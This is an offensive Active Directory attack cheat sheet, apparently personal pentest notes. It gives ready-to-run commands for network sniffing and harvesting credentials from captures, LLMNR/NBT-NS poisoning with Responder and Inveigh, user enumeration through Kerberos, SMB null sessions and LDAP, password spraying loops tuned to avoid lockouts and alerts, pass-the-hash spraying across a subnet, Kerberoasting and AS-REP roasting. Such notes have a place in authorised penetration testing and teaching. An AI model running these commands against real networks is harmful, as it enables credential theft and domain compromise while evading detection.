Active Directory
Contents
** 1. Initial Enumration and Identification **#
a. Wireshark#
sudo -E wireshark
Choose the ethernet we want to sniff on
Filter for
ARPprotocolLook for NETBIOS names
Look for DNS and domain names
Look for unsecure protocols such as TELNET and FTP
b. TCPdump#
sudo tcpdump -i eth0 -w capture.pcap
Choose the ethernet we want to sniff on
Saves the output in .pcap file
c. Net-Creds#
sudo python net-creds.py -f capture.pcap
Install net-creds Search for credentials in the .pcap file
d. Responder#
sudo responder -I eth0 -A
Choose the ethernet we want to analyze traffic on
Analyze mode to see NBT-NS, Browser and LLMNR requests without responding
e. Utilizing DNS to gather Domain Controllers#
cat /etc/resolv.conf - internal domain dotpirate.local
dig -t SRV _gc._tcp.dotpirate.local
dig -t SRV _ldap._tcp.dc._msdcs.dotpirate.local
dig -t SRV _kerberos._tcp.dotpirate.local
dig -t SRV _ldap._tcp.dotpirate.local
Replace
dotpirate.localwith the domain name assigned toresolv.conffile
f. Enumerating AD CS / CA Authority#
openssl s_client -showcerts -connect <dc-ip>:3269 | openssl x509 -noout -text | less -S
Replace
<dc-ip>with the Domain Controller IP
2. LLMNR/NBT-NS Poisoning#
a. From Linux#
sudo responder -I eth0
Start poisoning with reposnder on default settings
b. From Windows#
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
LLMNR and NBNS spoofing
Inveigh Documentation and default options
** 3. Username Enumeration (on Domain Controller)#
a. Kerberos#
sudo ntpdate -s dotpirate.local
./kerbrute_linux_amd64 userenum -d DOTPIRATE.LOCAL --dc <dc-ip> wordlist.txt -o valid-ad-users.txt
Make sure to synchonize time with DC
Replace domain controller IP with
<dc-ip>Replace
wordlist.txtwith this or with a smaller one such as thisKerberos pre-authentication failures often will not trigger logs or alerts.
Download and Installed the binary from here
b. enum4linux SMB NULL Session#
enum4linux -U <dc-ip> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
Filtering the output to grab only the users.
Replace
<dc-ip>with Domain Controller IP
c. rpcclient SMB NULL Session#
rpcclient -U "" -N <dc-ip>
rpcclient? $> enumdomusers
Utilizing RPC to enumerate valid users.
d. netexec rid bruteforce#
netexec smb <dc-ip> -u '' -p '' --rid-brute
Bruteforcing rid to gather users and groups
e. netexec –users flag#
netexec smb <dc-ip> --users
Gives more information that just a list of users
f. ldapsearch LDAP Anonymous bind#
ldapsearch -h <dc-ip> -x -b "DC=DOTPIRATE,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
Utilizing ldapsearch with a custom query to gather users from the
SAMAccountNameproperty
g. windapsearch LDAP Anonymous bind#
./windapsearch.py --dc-ip <dc-ip> -u "" -U
-uflag is to spcify a user whil-Uis to search for users.
** 4. Password Spray **#
a. rpcclient password spray#
PASSWORD="Welcome2025"
for u in $(cat valid_users.txt); do
rpcclient -U "$u%$PASSWORD" -c "getusername;quit" <dc-ip> | grep Authority
sleep 5
done
Utilizing bash for loop and rpcclient with single password
sleep 5(or even 10–15 sec) gives breathing room and avoids triggering threshold-based lockouts.Replace
<dc-ip>with target DC
b. kerberos password spray (safer)#
kerbrute passwordspray -d dotpirate.local --dc <dc-ip> ad_users.txt Welcome2025
Kerbrute is lockout-safe by design (it only attempts Kerberos pre-auth, which doesn’t increment bad password counters in AD)
Replace
<dc-ip>with target DC
c. netexec password spray#
netexec smb 10.10.10.11 -u users.txt -p 'Welcome2025' \
--no-bruteforce \
--ufail-limit 3 \
--gfail-limit 10 \
--jitter 3 \
-t 1
--no-bruteforce LIMITensures it does not try user1=password1, user2=password2, etc. (so it only sprays the single password against the whole list).
--ufail-limit LIMITmax failures per user before it stops (e.g., –ufail-limit 3 so you don’t risk lockouts).
--gfail-limit LIMITglobal cap on failures across all attempts.
--jitter INTERVALadds random delays between attempts, reducing the chance of triggering lockouts.
-t THREADSadjust concurrency (lower = slower, safer).
d. netexec Local Administrator spray#
netexec smb --local-auth 10.10.10.0/23 -u administrator -H 111109182de666ddd6579eb084977777 -t 1 --jitter 2 --fail-limit 10 | grep +
Spray the hash against every host in the subnet specified
One attempt at a time with random delay between attempts
--fail-limitto cap attempts if it’s failing everywhere
e. Password Spray from domian-joined Windows-Host#
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome2025 -OutFile output.txt -ErrorAction SilentlyContinue
Automatically generate a user list from Active Directory
Query the domain password policy
Exclude user accounts within 1 attempt of locking out
Download and Import DomainPasswordSpray
** 5. Kerberoasting and AS-REP Roasting **#
a. Kerberoast with user list#
sudo impacket-GetUserSPNs -no-preauth "anyknownuser" -usersfile users.txt -dc-host <dc-ip> "dotpirate.local"/
Request Kerberos service tickets for any service account with a Service Principal Name (SPN)
b. AS-REP Roasting#
sudo impacket-GetNPUsers dotpirate.local/ -dc-ip <dc-ip> -request
Checks if Kerberos pre-authentication is disabled.
** 6. Bruteforce Username as Password **#
- Note: IF we found valid ad users we can use the usernames as passwords *
sudo netexec smb -u ad-users.txt -p ad-users.txt --no-bruteforce --continue-on-succes
